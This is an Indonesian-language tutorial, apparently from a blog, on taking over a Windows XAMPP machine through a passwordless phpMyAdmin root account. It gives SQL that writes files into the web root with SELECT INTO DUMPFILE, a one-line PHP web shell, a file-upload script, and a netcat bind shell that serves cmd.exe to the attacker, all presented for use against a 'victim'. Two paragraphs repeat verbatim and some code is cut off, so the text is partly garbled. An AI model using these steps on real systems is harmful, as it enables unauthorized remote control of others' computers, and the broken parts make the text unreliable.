Berikut ini akan saya tuliskan langkah-langkah(tutorial) melakukan exploit remote access dengan memanfaatkan celah keamanan pada phpmyadmin.
Phpmyadmin merupakan program berbasis web dengan teknologi php, phpmyadmin mempunyai fungsi untuk memanajemen database/RDBMS berbasiskan MySQL. Phpmyadmin mempunyai fasilitas untuk mengeksekusi script SQL yang berbasiskan pada MySQL, dengan script ini penyerang dapat membuat file pada computer target untuk melakukan serangan. Jadi berhati-hatilah setelah menginstall program web server seperti php-triad, xampp dan sebagainya. Program tersebut memudahkan pengguna untuk menginstall webserver, php, dan MySQL secara otomatis, namun secara default security dari program tersebut kurang diperhatikan, misalnya user database yang tidak dipassword.
Misalkan target mempunyai no IP 192.168.1.3 yang sudah menginstall xampp, dan penyerang mempunyai nomor ip 192.168.1.33, informasi yang harus didapatkan yaitu DOCUMENT_ROOT yaitu letak directory dimana file web disimpan. Kita dapat melihatnya melalui phpinfo();
Phpmyadmin merupakan program berbasis web dengan teknologi php, phpmyadmin mempunyai fungsi untuk memanajemen database/RDBMS berbasiskan MySQL. Phpmyadmin mempunyai fasilitas untuk mengeksekusi script SQL yang berbasiskan pada MySQL, dengan script ini penyerang dapat membuat file pada computer target untuk melakukan serangan. Jadi berhati-hatilah setelah menginstall program web server seperti php-triad, xampp dan sebagainya. Program tersebut memudahkan pengguna untuk menginstall webserver, php, dan MySQL secara otomatis, namun secara default security dari program tersebut kurang diperhatikan, misalnya user database yang tidak dipassword.
Misalkan target mempunyai no IP 192.168.1.3 yang sudah menginstall xampp, dan penyerang mempunyai nomor ip 192.168.1.33, informasi yang harus didapatkan yaitu DOCUMENT_ROOT yaitu letak directory dimana file web disimpan. Kita dapat melihatnya melalui phpinfo();
Untuk kasus ini target mempunyai DOCUMENT_ROOT di ‘C:/xampp/htdocs’. Selanjutnya kita harus mendapatkan akses ke phpmyadmin yang secara default pada xampp, username root untuk mysqlnya dan tidak dipassword.
Setelah mendapatkan akses ke phpmyadmin, kita dapat memulai usaha remote access terhadap komputer target. Yang pertama kita buat suatu table dalam database tertentu dengan nama terserah anda. Untuk kali ini saya menggunakan nama database ‘coba_hck’dan nama table ‘source’ yang mempunyai satu field ‘isi’ yang bertipe text.
Script sql :
CREATE TABLE `coba_hck`.`source` (`isi` TEXT NOT NULL ) ENGINE = MYISAM
Setelah itu kita dapat me-insert source code file php yang dapat melakukan exploitasi ke table tersebut. Saya akan meng upload tiga file dengan nama command.php(‘berfungsi untuk eksekusi perintah’), up.php dan ps.php(‘untuk melakukan upload file’). Berikut source code file tersebut
command.php:
@system($_REQUEST["v"])?>
up.php:
Send this file:
ps.php:
$uploaddir = 'C:/xampp/htdocs/'; //DOCUMENT_ROOT komputer target$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
echo '';
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { echo "File is valid, and was successfully uploaded.\n";} else { echo "Possible file upload attack!\n";}
echo 'Here is some more debugging info:';print_r($_FILES);
print "
";?>
File tersebut akan dibuat satu per satu. Untuk proses pembuatan file tersebut, pertama-tama masukan source code file (urutan terserah anda) ke table source.
Sql:
INSERT INTO `coba_hck`.`source` (`isi` )VALUES ('');
Setelah itu masuk ke panel sql
Masukkan script
SELECT * into dumpfile 'C:/xampp/htdocs/command.php' from source;
Script tersebut akan membuat file di C:/xampp/htdocs/ dengan nama command.php pada computer target yang berisi source code yang kita masukkan tadi ke dalam tabel.
Kita dapat mengetesnya dengan mengakses alamat http://192.168.1.3/command.php?v= dapat diganti dengan perintah perintah yang ada dalam ms-dos. Berikut ini tampilan ketika meneksekusi perintah ‘dir’
Setelah itu kita melakukan langkah yang sama untuk membuat kedua file yang masih tersisa yaitu ps.php dan up.php. Ingat proses pembuatan file satu per satu, jadi kita harus mengkosongkan tabel terlebih dahulu sebelum menciptakan file selanjutnya(sebenarnya bisa langsung membuat tiga sekaligus dengan memodifikasi script sql, silahkan jika bisa).
Pembuatan file ps.php:
Pembuatan file up.php:
http://192.168.1.3/up.php untuk mengupload file untuk melakukan remote akses, untuk kali ini saya menggunakan netcat.
Kita mencoba untuk meng-upload file netcat yaitu nc.exe ke computer target
proses upload berhasil, selanjutnya kita akan meneksekusi file ini jarak jauh(remote) melalui file command.php yang sudah kita buat. Saya akan menjalankan perintah nc.exe -l -p1234 -d -e cmd.exe –L
Perintah tersebut akan mengeksekusi program netcat opsi –l untuk mode listening yaitu program netcat akan melakukan listening pada port 1234 –p1234, opsi –d ‘detach’ agar nc dapat berjalan lepas dari console pada windows NT. Dan –e cmd.exe netcat akan mengeksekusi file cmd.exe jika koneksi terbentuk. Opsi –L akan mengeksekusi kembali program nc jika koneksi terputus.
Berikut ini tampilan ketika perintah ini dijalankan
Untuk melakukan akses remote kita dapat ketikan perintah nc 192.168.1.3 1234 pada computer kita untuk meremote computer korban
Kita sudah bisa remote ke computer korban. Selamat Mencoba...